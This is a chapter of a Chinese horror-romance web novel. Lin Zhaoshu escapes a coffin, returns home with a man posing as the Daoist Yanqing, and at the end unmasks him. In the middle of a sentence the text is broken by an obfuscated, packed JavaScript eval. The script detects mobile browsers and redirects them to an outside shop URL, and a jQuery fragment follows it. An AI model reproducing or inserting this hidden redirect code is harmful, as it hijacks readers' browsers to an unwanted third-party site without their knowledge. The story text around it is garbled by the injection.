延清、
艳清。
林昭姝指尖触到木板表面的刻字,会有这么巧合的姓名吗?她不禁想。
漆黑的棺木泛着银辉的寒光,香案物件摆放得一丝不苟,灵牌端立于正中,陈设规整齐全。
而另一口棺木的香案空空如也,林昭姝垂眸将手里的灵牌放在了案上。
林昭姝之灵位、艳清之灵位。
一左一右。
林昭姝倏然背脊生凉。
她走到紧闭的棺木前,哑黑棺面光滑沉黯,林昭姝咬了咬唇,抬手推向棺盖。
昏暗的光线里,刹那出现的男尸除了一张惊悚的黑瞳,其余的林昭姝都忘了注意。
林昭姝奋力地推着棺盖,想要确认棺材内部的男尸样貌。
可惜厚重的棺盖纹丝不动,稳如泰山。
名为“艳清”的尸体同样无缘得见。
林昭姝转身靠在棺木上,沉凝地盯着面前另一口敞开的棺木。
时间一分一秒地消逝,周围一成不变,只有心中的焦灼持续涨增。
林昭姝闭了闭眼往前走,躺进棺材。
衬褥下的木板冰凉硌人,没有半分暖意。
林昭姝皮肉微微发僵,盯着阴灰色的天花板,这副狭小的棺椁显而易见是为她准备的。
逼仄潮湿的空间让林昭姝渐渐涌上不安,如她所料,死寂许久的环境终于有了变化。
抬眼望去,棺盖正缓缓向中间合拢,幽光一点点被蚕食。
目睹着棺盖闭合的同时,林昭姝脖颈被一丝寒凉的触感所包裹。
仿佛一条阴冷的巨蟒缠绕住全身。
行动的受限让林昭姝略微恐慌,瞳孔里唯一点的亮光消亡,棺椁内弥漫的阴寒,丝丝往骨缝里钻。
回忆里,也是像如今般,一穿越就受困在棺椁内。
那些害她的人人鬼鬼都还没塞进去入土为安,自己就又躺回到棺材里,林昭姝失笑,历史总是惊人的相似。
林昭姝张了张唇,脖颈的重力缚紧却并未影响她的正常发声,她微微错愕这个发现,试探喊道:“救命。”
“有人吗?延清……延清!”
林昭姝下意识喊出心里的依赖,艰难地抬动手心敲打坚硬的木板,发出剧烈的响动。
突然一丝光亮挤进幽暗的棺材。
棺盖正在被人缓缓推开,幽暗的光线透进棺椁,视线里如同救世主光环的男人一寸一寸进入林昭姝的视野。
一张熟悉又陌生的脸出现在面前。
延清眼眸深邃,月光照得肤色病态苍白,偏偏饱满圆润的红唇更添艳丽,骨瘦清羸的望向她。
林昭姝愣道:“延清……是你吗?”
男人长臂揽起她纤细的身躯,林昭姝坐起在棺椁内,还没呼吸新鲜空气,冷寂凛冽的气息就包裹她的鼻腔。
延清抱着她,嗓音轻柔:“是我。”
他的下巴抵在林昭姝头顶:“你怎么样?有受什么伤?”
延清的声音温柔哄人,林昭姝身处令人安心的臂弯,压在心底的恐惧嗔怨像开了阀的水门,止不住委屈地打他的胸膛,道:“你去哪了,延清,你总喜欢让我一个人,你真是可恶,你——”
“我的错。”
延清轻拍她的背,他知道在棺材内的场景让她想到之前被绑去冥婚,吓狠了。
他握住那双乱挥的小手,安抚道:“打我骂我都行,不过让我先说个好消息。”
林昭姝手一顿,抬眸看他,“什么好消息?”
“缠绕你身上的鬼气不见了。”
“不、不见了?”
林昭姝神色惊愕,不可置信地又让延清重复一遍,险些喜极而泣,道:“真的?”
“真的。”延清摸了摸她的脑袋:“一路太过凶险,好在完满解决,能安然送你回府。”
林昭姝上扬的嘴角一顿:“送我回府?那约好的道观呢?”
“道观?”
林昭姝看向一脸茫然的男人,以为他又在逗她,笑道:“对,我还很期待能去你……道观看看。”
延清退开些距离,注视着林昭姝,做出恍然大悟的表情,随后冷道:“不去了。”
话音刚落,林昭姝转眼回到了林府。
朱红大门贴上新绘门神、朱砂桃符,内院游廊挂满戳纱彩灯,处处缠上彩绸结。
庭院摆上宴席,浩浩荡荡的一群人望向归来的二人,接风洗尘。
林昭姝身穿鲜红色衫衣,她错愕地站在人群中央,接受着众人热情的恭贺。
身边的人们起哄这位姑爷,林昭姝顺意牵起延清的手。
林昭姝目光平淡地看着簇拥的众人,仿佛隔绝了整个欢喜。
她靠近延清,在他耳边问:“你何时走?”
延清看向她,明白她问的是送回林府后,他就要动身去游历分别的事
“你想留下我吗?”
林昭姝抬头与他对视,虚握的手反被男人握紧,她的指尖发烫,挣脱不出。
林昭姝道:“你不太听话。”
延清手指挤进她的指缝,十指相扣,倒打一耙:“是你先的。”
林昭姝的脸跟手心一样隐隐发热,她垂下头,执拗道:“你好好回答我。”
延清注视着她,回答的话音吞没在嘈杂里。
欢闹嬉笑的人群吵得她头疼。
林昭姝甩开卖弄关子的延清,自己一路浑浑噩噩地回到林府,再回到自己卧房,她扶着额头,疼痛难受。
延清不知何时走了进来,手放在林昭姝太阳穴轻轻揉动。
林昭姝抬眸看向温贤的延清,推开他的手,道:“不疼了。”
延清拿起桌旁的金剪刀,林昭姝认出那是大婚时,她意外捅伤他的那一把。
延清半蹲下身,一只手牵起林昭姝的手。
“好了,别生气,我再说一次。”
他紧盯着林昭姝,正色道:无论你怎么赶走我、丢开我、让我滚,我是死都会爬到你身边。”
林昭姝哑然,没有料到延清会说出这样重力的话语,半晌才接收下,眼见延清唇齿微张,还要再说,她干巴道:“够了。”
“不够。”延清嗓音低沉,握起林昭姝的手贴向脸颊,幽幽道:“再举行一次成亲。”
“延清,你?”
延清冷道:“不愿意?”
林昭姝没吃过猪肉还没见过猪跑吗?眼下这种情形,她想要确认道:“延清你在表白吗?”
延清眸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873989|212034||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
色深沉:“之前的结亲在我这不够作数,只是想要重新办一次,不行吗?”
林昭姝看着男人一本正经地说着斤斤计较的话语,忍不住破功一笑。
她盯着他水莹的薄唇,在心里想到被自己归为的不作数。
林昭姝:“那我们之前吻作数吗?”
延清眉头一皱,安静下来。
他低垂着头,目光不知道在看那把金剪刀还是她的手,头顶的道髻挽着她的渐红色发带,丧丧里还有点惹人怜爱。
林昭姝捧起他的脸,清淡的灰瞳仿佛专摄她的心魄,所以她的双眸想要躲开,唇却贴近。
薄唇轻轻亲吻,蜻蜓点水地一下。
林昭姝睁开眼,柔声道:“作数的,之前的一切在我这里都作数。”
延清脸色一愣,手指摸向林昭姝的唇,又骤然弹开。
林昭姝看他这副难以理解的模样,脸上的羞涩退了大半,犹豫道:“……你不愿意被我亲吗?是我冒犯了。”
“亲?”
“嗯,亲。”
延清嗓音沙哑道:“亲代表什么?”
林昭姝一噎,竟然在延清错愕的神情里品出几丝纯情的感觉。
她捧起延清的脸,郑重道:“是和喜欢的人、愿意成亲的人做的。”
延清看着她,晦涩的眼底渐渐明朗,他慢慢凑近:“我喜欢,我愿意。”
林昭姝不以为意地笑了笑,盯着他的脸庞又看了许久,便勾住他的脖子,吻了上去。
唇瓣相贴的触感像陷进天边的云,心脏被暖烘烘的棉花包围,酥痒、渴望、想要更多。
林昭姝和延清互相睁着眼,就像做着清醒梦,无论是视线里还是世界,都只有彼此。
林昭姝使坏地伸出一点舌尖,慢慢舔了舔他的唇缝。
延清瞳孔微缩,第一次露出惊慌无措的神情,还没来得及欣赏够,在林昭姝持续的作恶下,他纯情地呆呆闭上眼。
林昭姝数着他一根又一根的长睫,手指覆在男人的手背,又慢慢去伸进他的手心,如同想要与他十指相扣。
桎梏在手中的金剪刀被挤落。
她握住延清的手,小拇指勾住剪刀。
手心的触感一点点抽离,林昭姝抬起手,刀刃抵在延清的脖颈。
林昭姝眼神发冷,拉开与男人唇齿的距离,嫌恶道:“你是谁?”
男人眼神迷离,语调迟钝地说:“我是,你的夫君。”
延清的眼尾下垂,瞳光潋滟,深邃的五官带着几分侵略感,艳光迫人。
明明是同样的脸,给人的气质却大相径庭。
林昭姝脸色发沉地盯着妖艳冒牌版“延清”,探究道:“你的真名叫什么?”
“延清”闻言,抬起下颚,眼神恢复了几分清明,他的手以林昭姝还没反应过来的速度,碰到脖颈前握着刀刃的那只手。
“想离开,我帮你呀。”
说着,他攥住林昭姝的手,让刀刃狠狠刺进脖侧。
林昭姝猛地松开手,眼底涌出些泪水,眼前杀害“延清”的一幕,让她心头巨颤。
她喃喃道:“你、为什么?”
“延清”挤出一抹笑,说:“昭姝要杀我离开,我喜欢……我愿意。”